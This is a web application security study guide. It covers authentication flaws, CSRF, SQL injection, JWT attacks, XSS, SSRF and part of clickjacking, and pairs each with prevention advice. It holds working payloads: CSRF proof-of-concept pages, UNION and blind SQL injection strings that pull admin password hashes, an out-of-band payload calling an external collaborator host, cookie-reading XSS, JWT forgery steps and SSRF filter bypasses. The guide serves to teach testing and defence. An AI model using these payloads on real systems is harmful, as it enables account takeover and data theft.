whoami
Authentication Vulnerabilities
Preqrequisites
Authentication identifies the user and confirms that they are who they claim to be.
- HTML form-based authentication
- Multi-factor mechanisms
- Windows-integrated authentication (NTLM or Kerberos)
What Are Authentication Vulnerabilities?
Authentication vulnerabilities arise from insecure implementation of authentication mechanisms in an application.
Types Of Authentication Vulnerabilities:
Weak Password Requirements
- Very short or blank passwords
- Common dictionary words or names
- Password is the same as the username
- Use of default passwords
- Missing or ineffective MFA
Reference: CASMM Consumer Authentication Security Maturity Model
Improper Restriction of Authentication Attempts
- Application permits brute force or other automated attacks:
- Login page
- OTP/MFA page
- Change password page
Verbose Error Messages
- Application outputs verbose error messages, allowing username enumeration.
Vulnerable Transmission of Credentials
- Application uses unencrypted HTTP connections to transmit credentials.
Insecure Forgot Password Functionality
- Design weaknesses in forgotten password functionality often make it the weakest link in an application's authentication logic
Defects in Multistage Login Mechanisms
- Insecure implementation of MFA or other multi-stage login processes.
Insecure Storage of Credentials
- Storing passwords in plaintext, weak encryption, or weakly hashed formats.
Impact of Authentication Vulnerabilities
- Unauthorized access to the application.
- Confidentiality: Access to other users’ data.
- Integrity: Ability to update other users’ data.
- Availability: Deletion of user accounts and data.
- Can sometimes be chained with other vulnerabilities to gain remote code execution on the host operating system.
How to Find And Exploit Authentication Vulnerabilities
Weak Password Complexity Requirements
- Review the website for any description of the rules.
- If self registration is possible, attempt to
register several accounts with different kinds
of weak passwords to discover what rules are
in place.
- Very short or blank.
- Common dictionary words or names.
- Password is the same as the username.
- If you control a single account and password change is possible, attempt to change the password to various weak values.
Improper Restriction of Authentication Attempts
- Manually submit several bad login attempts for an account you control.
- After 10 failed login attempts, if the application does not
return a message about account lockout, attempt to log
in correctly. If it works, then there is no lockout
mechanism.
- Run a brute force attack to enumerate the valid password. Tools: Hydra, Burp Intruder, etc.
- If the account is locked out, monitor the requests and responses to determine if the lockout mechanism is insecure. NOTE: Apply this test on all authentication pages.
Verbose Error Messages
- Submit a request with a valid username and an invalid password.
- Submit a request with an invalid username.
- Review both responses for any differences in the status code, any redirects, information displayed on the screen, HTML page source, or even the time to process the request.
- If there is a difference, run a brute force attack to enumerate the list of valid usernames in the application. NOTE: Apply this test on all authentication pages.
Vulnerable Transmission of Credentials
- Perform a successful login while monitoring all traffic in both directions between the client and server.
- Look for instances where credentials are submitted in a URL query string or as a cookie, or are transmitted back from the server to the client.
- Attempt to access the application over HTTP and if there are any redirections to HTTPS.
Insecure Forgot Password Functionality
- Identify if the application has any forgotten password functionality.
- If it does, perform a complete walk-through of the forgot password functionality using an account you have control of while intercepting the requests / responses in a proxy.
- Review the functionality to determine if it allows for username enumeration or brute- force attacks.
- If the application generates an email containing a recovery URL, obtain a number of these URLs and attempt to identify any predictable patterns or sensitive information included in the URL. Also check if the URL is long lived and does not expire.
Defects in Multistage Login Mechanisms
- Identify if the application uses a multistage login mechanism.
- If it does, perform a complete walk-through using an account you have control of while intercepting the requests / responses in a proxy.
- Review the functionality to determine if it allows for username enumeration or brute- force attacks.
Insecure Storage Of Credentials
- Review all the application’s authentication related functionality. If you find any instances where the user’s password is transmitted to the client plaintext or obfuscated, this indicates the passwords are being stored insecurely.
- If you gain remote code execution (RCE) on the server, review the database to determine if the passwords are stored insecurely.
- Conduct technical interviews with the developers to review how passwords are stored in the backend database.
How to Prevent Authentication Vulnerabilities
- Wherever possible, implement multi-factor authentication.
- Change all default credentials.
- Always use an encrypted channel / connection (HTTPS) when sending user credentials.
- Only POST requests should be used to transmit credentials to the server.
- Stored credentials should be hashed and salted using cryptographically secure algorithms.
- Use identical, generic error messages on the login form when the user enters incorrect credentials.
- Implement an effective password policy that is compliant with NIST 800-63-b’s guidelines.
- Use a simple password checker to provide real time feedback on the strength of the password. For example: zxcvbn JavaScript library.
- Implement robust brute force protection on all authentication pages.
- Audit any verification or validation logic thoroughly to eliminate flaws.
Resources
- Web Security Academy – Authentication Vulnerabilities
- OWASP Web Security Testing Guide
- OWASP Top 10 – Authentication Failures
- OWASP Application Security Verification Standard (ASVS)
Cross-Site Request Forgery (CSRF)
What is CSRF?
CSRF is an attack where the attacker causes the victim user to carry out an action unintentionally while that user is authenticated.
CSRF Conditions
To successfully exploit a CSRF vulnerability, the following conditions must be true:
- Relevant Action
- Cookie-Based Session Handling
- No Unpredictable Parameters
Impact of CSRF Attacks
- Depends on the functionality in the application that is being exploited
- Confidentiality – it can be None / Partial (Low) / High
- Integrity – usually either Partial or High
- Availability – can be None / Partial (Low) / High
- Remote code execution on the server
How to Find CSRF Vulnerabilities
Black-Box Testing Perspective
- Map the application
- Review all the key functionality in the application
- Identify all application functions that satisfy the
following three conditions
- A relevant action
- Cookie-based session handling
- No unpredictable request parameters
- Create a PoC script to exploit CSRF
- GET request:
<img>
tag withsrc
attribute set to vulnerable URL - POST request: form with hidden fields for all the required parameters and the target set to vulnerable URL
- GET request:
White-Box Testing Perspective
- Identify the framework that is being used by the application
- Find out how this framework defends against CSRF attacks
- Review code to ensure that the built in defenses have not been disabled
- Review all sensitive functionality to ensure that the CSRF defense has been applied
How to Exploit CSRF Vulnerabilities
Exploiting CSRF - GET Scenario
Example Request
GET https://bank.com/email/change?email=test@test.ca HTTP/1.1
Exploit Example
<html>
<body>
<h1>Hello World!</h1>
<img src="
https://bank.com/email/change?email=at
tacker@gmail.ca
" width="0" height="0" border="0">
</body>
</html>
Exploiting CSRF - POST Scenario
Example Request
POST /email/change HTTP/1.1
Host: https://bank.com
…
email=test@test.ca
Exploit Example
<html>
<body>
<h1>Hello World!</h1>
<iframe style="display:none" name="csrf-iframe"></iframe>
<form action="https://bank.com/email/change/" method="POST" target="csrf-iframe" id="csrf-form">
<input type="hidden" name="email" value="test@test.ca" />
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
</body>
</html>
How to Prevent CSRF Vulnerabilities
- Primary Defense
- Use a CSRF token in relevant requests.
- Additional Defense
- Use of SameSite cookies
- Inadequate Defense
- Use of Referer header
Primary Defense: CSRF Tokens
How should CSRF tokens be generated?
- Unpredictable with high entropy, similar to session tokens
- Tied to the user's session
- Validated before the relevant action is executed
How should CSRF tokens be transmitted?
- Hidden field of an HTML form that is submitted using a POST method
- Custom request header
- Tokens submitted in the URL query string are less secure
- Tokens generally should not be transmitted within cookies
How should CSRF tokens be validated?
- Generated tokens should be stored server-side within the user’s session data
- When performing a request, a validation should be performed that verifies that the submitted token matches the value that is stored in the user’s session
- Validation should be performed regardless of HTTP method or content type of the request
- If a token is not submitted, the request should be rejected
Additional Defense: SameSite Cookies
The SameSite
attribute can control whether cookies are submitted in cross-site requests.
Examples
Set-Cookie: session=test; SameSite=Strict
Set-Cookie: session=test; SameSite=Lax
Set-Cookie: flavor=choco; SameSite=None; Secure
Inadequate Defense: Referer Header
- The Referer HTTP request header contains an absolute or partial address of
the page making the request.
- Referer headers can be spoofed
- The defense can usually be bypassed:
- Example #1 – if it’s not present, the application does not check for it
- Example #2 – the referrer header is only checked to see if it contains the domain and exact match is not made.
Resources
- Web Security Academy - CSRF
- OWASP - CSRF
- Cross-Site Request Forgery Prevention Cheat Sheet
- OWASP Code Review Guide - Reviewing Code for CSRF Issues
SQL Injection
What Is SQL Injection?
Vulnerability that consists of an attacker interfering with the SQL queries that an application makes to a database.
Impact of SQL Injection Attacks
- Unauthorized access to sensitive data
- Confidentiality – SQLi can be used to view sensitive information, such as application usernames and passwords
- Integrity – SQLi can be used to alter data in the database
- Availability – SQLi can be used to delete data in the database
- Remote code execution on the operating system
Types of SQL Injection
In-Band SQL Injection
- In-band SQLi occurs when the attacker uses the same communication
channel to both launch the attack and gather the result of the attack
- Retrieved data is presented directly in the application web page
- Easier to exploit than other categories of SQLi
- Two common types of in-band SQLi
- Error-based SQLi
- Union-based SQLi
Error-Based SQLi
- Error-based SQLi is an in-band SQLi technique that forces the database to generate an error, giving the attacker information upon which to refine their injection.
- Example:
- Input:
www.random.com/app.php?id='
- Output:
You have an error in your SQL sytax, check the manual that corresponds to your MySQL server version…
- Input:
- Example:
Union-Based SQLi
- Union-based SQLI is an in-band SQLi technique that leverages the UNION SQL operator to combine the results of two queries into a single result set
- Example:
- Input:
www.random.com/app.php?id=' UNION SELECT username, password FROM users--
- Output:
carlos afibh9cjnkuwcsfobs7h administrator tn8f921skp5dzoy7hxpk
- Input:
Inferential (Blind) SQL Injection
- SQLi vulnerability where there is no actual transfer of data via the web application
- Just as dangerous as in-band SQL injection
- Attacker able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.
- Takes longer to exploit than in-band SQL injection
- Two common types of blind SQLi
- Boolean-based SQLi
- Time-based SQLi
Boolean-Based Blind SQLi
- Boolean-based SQLi is a blind SQLi technique that uses Boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE result.
- Example URL:
www.random.com/app.php?id=1
- Backend Query:
select title from product where id =1
- Payload #1 (False):
www.random.com/app.php?id=1 and 1=2
- Backend Query:
select title from product where id =1 and 1=2
- Payload #2 (True):
www.random.com/app.php?id=1 and 1=1
- Backend Query:
select title from product where id =1 and 1=1
- Users Table:
Administrator / e3c33e889e0e1b62cb7f65c63b60c42bd77275d0e730432fc37b7e624b09ad1f
- Payload:
www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1,1) = 's'
- Backend Query:
select title from product where id =1 and SUBSTRING((SELECT Password FROM Users WHERE Username ='Administrator'), 1, 1) = 's'
Nothing is returned on the page - Returned False - ‘s’ is NOT the first character of the hashed password
- Payload:
www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1,1) = 'e'
- Backend Query:
select title from product where id =1 and SUBSTRING((SELECT Password FROM Users WHERE Username ='Administrator'), 1, 1) = 'e'
Time-Based Blind SQLi
- Time-based SQLi is a blind SQLi technique that relies on the database pausing for a specified amount of time, then returning the results, indicating a successful SQL query execution.
- Example Query:
If the first character of the administrator’s hashed password is an ‘a’, wait for 10 seconds.
- response takes 10 seconds → first letter is ‘a’
- response doesn’t take 10 seconds → first letter is not ‘a’
Out-Of-Band (OAST) SQLi
- Vulnerability that consists of triggering an out-of-band network
connection to a system that you control.
- Not common
- A variety of protocols can be used (ex. DNS, HTTP)
- Example Payload:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
How to Find SQL Injection Vulnerabilities
Black-Box Testing
- Map the application
- Fuzz the application
- Submit SQL-specific characters such as ' or ", and look for errors or other anomalies
- Submit Boolean conditions such as OR 1=1 and OR 1=2, and look for differences in the application's responses
- Submit payloads designed to trigger time delays when executed within a SQL query, and look for differences in the time taken to respond
- Submit OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitor for any resulting interactions
White-Box Testing
- Enable web server logging
- Enable database logging
- Map the application
- Visible functionality in the application
- Regex search on all instances in the code that talk to the database
- Code review!
- Follow the code path for all input vectors
- Test any potential SQLi vulnerabilities
How to Exploit SQL Injection Vulnerabilities
Exploiting Error-Based SQLi
- Submit SQL-specific characters such as ' or ", and look for errors or other anomalies
- Different characters can give you different errors
Exploiting Union-Based SQLi
There are two rules for combining the result sets of two queries by using UNION:
- The number and the order of the columns must be the same in all queries
- The data types must be compatible
Exploitation:
- Figure out the number of columns that the query is making
- Figure the data types of the columns (mainly interested in string data)
- Use the UNION operator to output information from the database
Determining the number of columns required in an SQL injection UNION attack using ORDER BY:
-
select title, cost from product where id =1 order by 1
-
Incrementally inject a series of ORDER BY clauses until you get an error or observe a different behaviour in the application
order by 1--
order by 2--
order by 3--
The ORDER BY position number 3 is out of range of the number of items in the select list.
Determining the number of columns required in an SQL injection UNION attack using NULL VALUES:
-
select title, cost from product where id =1 UNION SELECT NULL--
-
Incrementally inject a series of UNION SELECT payloads specifying a different number of null values until you no longer get an error
' UNION SELECT NULL--
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
Finding columns with a useful data type in an SQL injection UNION attack:
-
Probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn
-
' UNION SELECT 'a',NULL--
-
Conversion failed when converting the varchar value 'a' to data type int.
' UNION SELECT 'a',NULL--
' UNION SELECT NULL,'a'
Exploiting Boolean-Based SQLi
- Submit a Boolean condition that evaluates to False and not the response
- Submit a Boolean condition that evaluates to True and note the response
- Write a program that uses conditional statements to ask the database a series of True / False questions and monitor response
Exploiting Time-Based SQLi
- Submit a payload that pauses the application for a specified period of time
- Write a program that uses conditional statements to ask the database a series of TRUE / FALSE questions and monitor response time
Exploiting Out-of-Band SQLi
- Submit OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitor for any resulting interactions
- Depending on SQL injection use different methods to exfil data
How to Prevent SQL Injection Vulnerabilities
- Primary Defenses:
- Option 1: Use of Prepared Statements (Parameterized Queries)
- Option 2: Use of Stored Procedures (Partial)
- Option 3: Whitelist Input Validation (Partial)
- Option 4: Escaping All User Supplied Input (Partial)
- Additional Defenses:
- Also: Enforcing Least Privilege
- Also: Performing Whitelist Input Validation as a Secondary Defense
Option 1 - Use Of Prepared Statements
Code vulnerable to SQLi:
String query = "SELECT account_balance FROM user_data WHERE user_name= " + request.getParameter("customerName");
try{
Statement statement = connection.createStatement(...);
ResultSet results = statement.executeQuery(query);
}
Spot the issue? statement
- User supplied input "customerName" is embedded directly into the SQL statement
The construction of the SQL statement is performed in two steps:
- The application specifies the query’s structure with placeholders for each user input
- The application specifies the content of each placeholder
Code not vulnerable to SQLi:
//This should be validated too
String custname = request.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name= ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custname);
ResultSet results = statement.executeQuery();
Partial Options
Option 2: Use of Stored Procedures
- A stored procedure is a batch of statements grouped together and stored in the database
- Not always safe from SQL injection, still need to be called in a parameterized way Option 3: Whitelist Input Validation
- Defining what values are authorized. Everything else is considered unauthorized
- Useful for values that cannot be specified as parameter placeholders, such as the table name. Option 4: Escaping All User Supplied Input
- Should be only used as a last resort
Additional Defenses
Least Privilege
- The application should use the lowest possible level of privileges when accessing the database
- Any unnecessary default functionality in the database should be removed or disabled
- Ensure CIS benchmark for the database in use is applied
- All vendor-issued security patches should be applied in a timely fashion
Resources
- Web Security Academy - SQL Injection
- OWASP - SQL Injection
- OWASP - SQL Injection Prevention Cheat Sheet
- PentestMonkey - SQL Injection Cheat Sheet
- sqlmap
JSON Web Tokens (JWT)
What Are JWTs?
JSON Web Tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems.
JWT Components
Header
The first component is the header which contains metadata.
- alg — Signature algorithm.
- Symmetric key algorithms such as HS256.
- Asymmetric key algorithms such as RS256.
- No signature such as the “none” algorithm.
- typ — Token type.
- kid — Key ID for identifying the key used.
- jwk — Embedded JSON object representing the key.
- jku — URL to retrieve key information.
Payload
The second component is the payload which contains a set of claims.
- iss — Identifies the issuer of the JWT.
- sub — Identifies the subject of the JWT.
- aud — Identifies the audience that the JWT is intended for.
- exp — A timestamp (in UNIX time format) indicating when the JWT expires and should no longer be accepted.
- iat — A timestamp indicating when the JWT was issued.
- Claims such as name, role, email, etc.
Signature
The third component is the signature which contains the signature of the token.
- Symmetric Algorithm
- The server uses a single key to both sign and verify the token.
- Asymmetric Algorithm
- This consists of a private key, which the server uses to sign the token, and a public key that can be used to verify the signature.
What Causes JWT Vulnerabilities?
- Weak or misconfigured cryptographic algorithms.
- Poor key management.
- Token expiration & revocation issues.
- Signature bypasses.
- Information leakage.
How to Find And Exploit JWT Vulnerabilities?
JWT Vulnerabilities
- JWT contains sensitive information.
- JWT is stored in an insecure location.
- JWT is transmitted over an insecureconnection.
- JWT expiration time is too lengthy or missing.
- Expired JWT is accepted.
- JWT signature is not verified, or arbitrary signatures are accepted.
- “None” algorithm is accepted / JWT without a signature are accepted.
- JWT is signed with a weak or brute-forceable key.
- JWT is vulnerable to header injection via the jwk parameter.
- JWT is vulnerable to header injection via jku parameter.
- kid parameter is vulnerable to injection attacks.
- Algorithm confusion attack.
JWT Contains Sensitive Information
- JWT tokens stored in LocalStorage or in a cookie that is not configured securely.
- Insecurely Configured Cookie (Missing HttpOnly and Secure Flags)
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...; Path=/; Domain=example.com;
- JWT Stored in Local Storage
Steps to find and exploit:
- In the browser, right click and select Inspect and select the Application tab.
- There you can see the Cookies jar and Local storage.
- In the Console tab, run localStorage or document.cookie.
JWT Transmitted Over Insecure Connection
- JWT tokens transmitted over an unencrypted channel (such as HTTP instead of HTTPS).
Long JWT Expiration Time
- JWT token does not expire or has a very long expiration time.
{
"sub": "user123",
"name": "Alice Smith",
"email": "alice.smith@example.com",
"role": "admin",
"exp": 1821869841 // Example expiration timestamp (September 25, 2027)
}
Steps to find and exploit:
- Intercept the request in Burp.
- Under the Request tab, click on the JSON Web Token subtab.
- Review the decoded payload to identify the expiration time set in the “exp” parameter.
- Confirm the expiration time.
Expired JWTs are Accepted
The application accepts expired JWTs.
{
"sub": "user123",
"name": "Alice Smith",
"email": "alice.smith@example.com",
"role": "admin",
"exp": 1726790400 // Example expiration timestamp (September 20, 2025)
}
Steps to find and exploit:
- Intercept the request in Burp.
- Under the Request tab, click on the JSON Web Token subtab.
- Review the decoded payload to identify the expiration time set in the “exp” parameter.
- Replay the token to access an authenticated page.
JWT Signature Not Verified
The application does not verify the signature of the JWT / accepts arbitrary signatures. This is sometimes possible because developers confuse the verify() and decode() methods and only pass incoming tokens to the decode function.
{
app.use((req, res, next) => {
const token = req.headers['authorization']?.split(' ')[1];
if (token) {
// Decode the token without verifying
const decoded = jwt.decode(token);
...
Steps to find and exploit:
- Intercept an authenticated request in Burp.
-
- Send the request to Repeater. In Repeater, change the signature to an arbitrary value.
- Click on Send.
None Algorithm Accepted
The application accepts a token with the “none” algorithm and does not properly verify the algorithm specified in the JWT header. Steps to find and exploit:
- Intercept an authenticated request in Burp.
- Send the request to Repeater.
- In Repeater, change the algorithm field to “none” in the JSON Web Token subtab.
- Go back to the Pretty subtab and remove the signature of the token.
- Click on Send.
Weak / Brute-forceable Signing Key
The application uses a weak, predictable, or easily guessable signing key, that can be easily brute-forced.
Steps to find and exploit:
Part 1: Brute force the secret key
- Intercept an authenticated request in Burp.
- Extract the token and use hashcat to brute force the key.
hashcat -a 0 -m 16500
/path/to/jwt.secrets.list
Part 2: Generate a forged signing key
- Use Burp Decoder to base64 encode the secret that was brute-forced.
- Visit the JWT Editor tab and click on New Symmetric Key. Click Generate.
- Replace the generated value for the k property with the base64-encoded secret.
- Click OK to save the key.
Part 3: Modify and sign the JWT
- Go back to the request and alter the token.
- At the bottom of the tab, click Sign and select the key that was generated.
- Click OK.
- Click on Send.
Header Injection via the jwk Parameter
The application trusts any key that is embedded in the jwk header. Steps to find and exploit:
- Go to the JWT Editor tab.
- Click New RSA Key.
- Click Generate and then click OK to save the key.
- Intercept an authenticated request and send it to Repeater.
- In Repeater, alter the token and then click on the Attack button.
- Select Embedded JWK. When prompted, select your newly generated RSA key and click OK.
- Send the request.
Header Injection via the jku Parameter
The application trusts any key that is embedded in the jku (JWK Set URL) header.
Steps to find and exploit:
Part 1 – Generate & Upload a malicious JWK Set
- Generate a key pair in the JWT Editor tab and store it in the attacker controlled server.
Part 2 - Modify and sign the JWT
- Intercept an authenticated request in Burp and send it to Repeater.
- Add a new jku parameter to the header of the JWT. Set its value to the URL of your JWK Set on the attacker server.
- Click Sign, and select the generated RSA key.
- Send the request.
Header Injection via the kid Parameter
The kid header parameter is vulnerable to injection attacks.
Steps to find and exploit:
Part 1 - Generate a suitable signing key
- Go to the JWT Editor tab.
- Click New Symmetric Key and click Generate to generate a new key in JWK.
- Replace the k property with a Base64-encoded null byte (AA==).
- Click OK. Part 2 – Modify and sign the token
- Intercept an authenticated request in Burp and send it to Repeater.
- Change the kid parameter to
../../../../../../../dev/null
. - Click on Sign and send the request.
Algorithm Confusion Attack
Algorithm confusion attacks (also known as key confusion attacks) occur when the attacker is able to force the server to verify the signature of the JWT using a different algorithm than is intended by the application developers.
Part 1 - Obtain the server's public key
- Obtain the server’s public key Part 2 - Generate a malicious signing key
- Generate an RSA key pair in the JWT Editor tab. Part 3 – Modify and sign the token
- Intercept an authenticated request in Burp and send it to Repeater.
- Change the value of the alg parameter to HS256.
- Click on Sign and send the request.
How to Secure JWTs
- Avoid storing sensitive information in the JWT.
- Use an up-to-date library for handling JWTs.
- Perform robust signature verification on JWTs.
- Store JWTs securely. If you’re using an Authorization header to transmit JWTs then opt for Session Storage instead of Local Storage. Similarly, if you’re using cookies to store JWTs, then ensure the Secure and HTTPOnly flags are set.
- Transmit JWTs securely. Do not send tokens in URL parameters.
- Opt for stronger signing algorithms when possible. For example, RS256 or ES256 are stronger than HS256 with a weak secret key.
- Always transmit JWTs over a secure encrypted channel (HTTPS) to protect against eavesdropping.
- Use the principle of least privilege when setting claims in the token. Users should only be given access to what is required / necessary.
- Implement proper key management practices, including regular key rotation and ensure secret keys are stored securely.
- Enforce a strict whitelist of permitted public keys and hosts for the jwk and jku headers.
- Include the aud (audience) claim to specify the intended recipient of the token. This prevents it from being used on different websites.
- Ensure that the kid header parameter is not vulnerable to injection attacks such as path traversal or SQL injection.
- Always set the expiration date (exp claim) for tokens to limit their validity to the shortest period of time acceptable by the business. Use short-lived tokens and refresh tokens when possible.
- If possible, enable the issuing server to revoke tokens.
Resources
- Web Security Academy - JWT Attacks
- Web Security Academy - JWT Labs
- OWASP - JSON Web Token Testing Guide
- What Are Refresh Tokens and How to Use Them Securely
- jsonwebtoken Signature Bypass Advisory
- node-jose Improper Signature Validation
- PyJWT Algorithm Confusion
Cross-Site Scripting (XSS)
What Are XSS Vulnerabilities?
Cross-Site Scripting (XSS) vulnerabilities allow an attacker to inject malicious client-side scripts in the application that get executed in the web browser of the victim user.
Same-Origin Policy
Same-Origin Policy (SOP) is a rule that is enforced by browsers to control access to data between web applications.
- This does not prevent writing between web applications, it prevents reading between web applications.
- Access is determined based on the origin.
Types of XSS
Reflected XSS
- Arises when the application directly
reflects client-supplied input in the response of the
request in an unsafe way.
- Vulnerable Request
https://insecure-website.com/status?message=All+is+well.
- Response
<p>Status: All is well.</p>
- Exploit
https://insecure-website.com/status?message=<script>alert(document.cookie);</script>
- Exploit Response
<p>Status: <script>alert(document.cookie);</script> </p>
- Vulnerable Request
Stored XSS
- Arises when the application stores client supplied input in an unsafe way and includes the input in later responses.
DOM-Based XSS
- Arises when JavaScript takes data from
client-supplied input, and passes it to a sink that
supports dynamic code execution in the DOM.
- Vulnerable Code
var search = document.getElementById('search').value; var results = document.getElementById('results’); results.innerHTML = 'You searched for: ' + search;
- Exploit
<img src=1 onerror=alert(1)>
What Can XSS Be Used For?
- Impersonate or masquerade as the victim user.
- Carry out any action that the user is able to perform.
- Read any data that the user is able to access.
- Inject trojan functionality into the website that captures the user’s login credentials.
- Perform virtual defacement of the website.
Impact of XSS Vulnerabilities
- Depends on the XSS vulnerability and attacker goal.
- Confidentiality – can be None / Partial (Low) / High
- Integrity – can be None / Partial (Low) / High
- Availability – can be None / Partial (Low) / High
- Usually chained with other vulnerabilities to achieve maximum impact such as full account takeover and even remote code execution.
How to Find And Exploit XSS Vulnerabilities
Finding & Exploiting Reflected XSS
- Identify every endpoint where data is reflected.
- This includes parameters or other data within the URL query string and message body, and the URL file path. It also includes HTTP headers.
- Submit a unique arbitrary string that is unlikely to be affected by any XSS- filters.
- Example String: test12564
- Monitor the application’s responses for appearance of this string.
- For each identified endpoint, determine the reflection context.
- Test candidate payloads.
- Test the attack in the browser.
Example 1: A Tag Attribute Value
<input type="text" name="address1" value="test12564">
Sample XSS Payloads:
<input type="text" name="address1" value="test12564"><script>alert(1)</script>">
OR
<input type="text" name="address1" value="test12564" onfocus="alert(1)">
Example 2: A JavaScript String
<script>var a = 'test12564'; var b = 123; ... </script>
Sample XSS Payload:
<script>var a = 'test12564'; alert(1); var foo=''; var b = 123; ... </script>
Example 3: An Attribute Containing a URL
<a href="test12564">Click here ..</a>
Sample XSS Payloads:
<a href="javascript:alert(1);">Click here ..</a>
OR
<a href="#" onclick="javascript:alert(1)">Click here ..</a>
Finding & Exploiting Stored XSS
- Identify every endpoint where data is reflected in the response of the user.
- This includes parameters or other data within the URL query string and message body, and the URL file path. It also includes HTTP headers.
- Submit a unique arbitrary string that is unlikely to be affected by any XSS-filters.
- Example String: test12564
- User controllable data entered in one location may be displayed in numerous places throughout the application.
- Review all the application’s content and functionality to identify any instances where this string is displayed back to the browser.
- For each identified endpoint, determine the context.
- Test candidate payloads.
- Test the attack in the browser.
Finding & Exploiting DOM-Based XSS
- Review every piece of client-side JavaScript for sinks that may be used to
access the DOM and can be controlled by client-supplied input.
- Example sinks include:
document.write()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
- Example sinks include:
- Once you identify a source that leads to a sink, supply a unique string and use developer tools to follow the path of execution to the sink.
- Test candidate payloads.
How to Prevent XSS Vulnerabilities
- Encode any user-controllable data on output. Depending on the output context,
this might require applying combinations of HTML, URL, JavaScript, and CSS
encoding. DO NOT implement your own encoding library. Instead, use an existing
well-known secure library.
- Example: Guava Java library for HTML encoding.
- Filter input on arrival. Only accept input based on what is expected or valid.
- Example: Age field should only contain numbers.
- Use appropriate response headers. To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X- Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.
- Use Content Security Policy (CSP) to help detect and mitigate cross-site scripting attacks.
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';
Resources
- Web Security Academy - Cross-site Scripting (XSS)
- OWASP - Cross-site Scripting (XSS)
- OWASP Cross Site Scripting Prevention Cheat Sheet
- Cross-site Scripting (XSS) Cheat Sheet
- OWASP XSS Filter Evasion Cheat Sheet
- OWASP Content Security Policy Cheat Sheet
Server-Side Request Forgery (SSRF)
What Is SSRF?
SSRF is a vulnerability class that occurs when an application is fetching a remote resource without first validating the user-supplied URL.
Types of SSRF
-
Regular / In-Band SSRF:
- The attacker sees the response of the malicious request in the application.
-
Blind / Out-of-Band SSRF:
- The attacker does not directly see the response but observes effects or monitors interactions via external tools.
Impact of SSRF Attacks
- Depends on the functionality in the application that is being exploited
- Confidentiality – can be None / Partial (Low) / High
- Integrity – can be None / Partial (Low) / High
- Availability – can be None / Partial (Low) / High
- Can lead to sensitive information disclosure, scan of internal network, compromise of internal services, remote code execution, etc.
How to Find SSRF Vulnerabilities
Black-Box Testing
- Map the application
- Identify any request parameters that contain hostnames, IP addresses or full URLs
- For each request parameter, modify its value to
specify an alternative resource and observe how the
application responds
- If a defense is in place, attempt to circumvent it using know techniques
- For each request parameter, modify its value to a
server on the internet that you control and monitor
the server for incoming requests
- If no incoming connections are received, monitor the time taken for the application to respond
White-Box Testing
- Review source code and identify all request
parameters that accept URLs
- This could be done by combining both a black-box and white-box testing perspective
- Determine what URL parser is being used and if it can be bypassed. Similarly determine what additional defenses are put in place that can be bypassed
- Test any potential SSRF vulnerabilities
How to Exploit SSRF Vulnerabilities
Regular / In-Band SSRF
-
If the application allows for user-supplied arbitrary URLs, try the following attacks:
- Determine if a port number can be specified
- If successful, attempt to port-scan the internal network using Burp Intruder
- Attempt to connect to other services on the loopback address
-
If the application does not allow for arbitrary user-supplied URLs, try to bypass defenses using the following techniques:
- Use different encoding schemes
- decimal-encoded version of 127.0.0.1 is 2130706433
- 127.1 resolves to 127.0.0.1
- Octal representation of 127.0.0.1 is 017700000001
- Register a domain name that resolves to internal IP address (DNS Rebinding)
- Use your own server that redirects to an internal IP address (HTTP Redirection)
- Exploit inconsistencies in URL parsing
- Use different encoding schemes
Blind / Out-of-Band SSRF
- If the application is vulnerable to blind SSRF, try to exploit the vulnerability using the following techniques:
- Attempt to trigger an HTTP request to an external system you control and monitor the system for network interactions from the vulnerable server
- Can be done using Burp Collaborator
- If defenses are put in place, use the techniques mentioned in the previous slides to obfuscate the external malicious domain
- Once you’ve proved that the application is vulnerable to blind SSRF, you need to determine what your end goal is
- An example would be to probe for other vulnerabilities on the server itself or other backend systems
How to Prevent SSRF Vulnerabilities
Defense in depth approach:
- Application Layer defenses
- Network Layer Defenses
Application Layer Defenses
- Sanitize and validate all client-supplied input data
- Enforce the URL schema, port, and destination with a positive allow list
- Do not send raw responses to clients
- Disable HTTP redirections Note: Do not mitigate SSRF vulnerabilities using deny lists or regular expressions.
Network Layer Defenses
- Segment remote resource access functionality in separate networks to reduce the impact of SSRF
- Enforce “deny by default” firewall policies or network access control rules to block all but essential intranet traffic
Resources
- Web Security Academy - SSRF
- OWASP - SSRF
- Server-Side Request Forgery Prevention Cheat Sheet
- SSRF Bible Cheat Sheet
- Preventing Server-Side Request Forgery Attacks
- A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages
Clickjacking
What Is Clickjacking?
Clickjacking is a type of attack that fools a user into clicking on one thing when the user is actually clicking on another thing
Types Of Clickjacking
- Likejacking: This aims to grab user's clicks and redirect them to "likes" on social media websites
- Cookiejacking: This involves getting a user to perform a set of actions interacting with the UI to provide the attacker with cookies stored in the browser
- Filejacking: This involves getting the user to allow the attacker to access their local file system and take files
Impact Of Clickjacking Vulnerabilities
- Depends on the goal of the attacker .
- Confidentiality – Could be Low, Medium or High.
- Integrity – Could be Low, Medium or High.
- Availability – Could be Low, Medium or High.
How To Find Clickjacking Vulnerabilities?
Depends on the perspective of testing.
Blackbox Testing
- Map the application
- Visit all pages in the application and make note of all the response headers
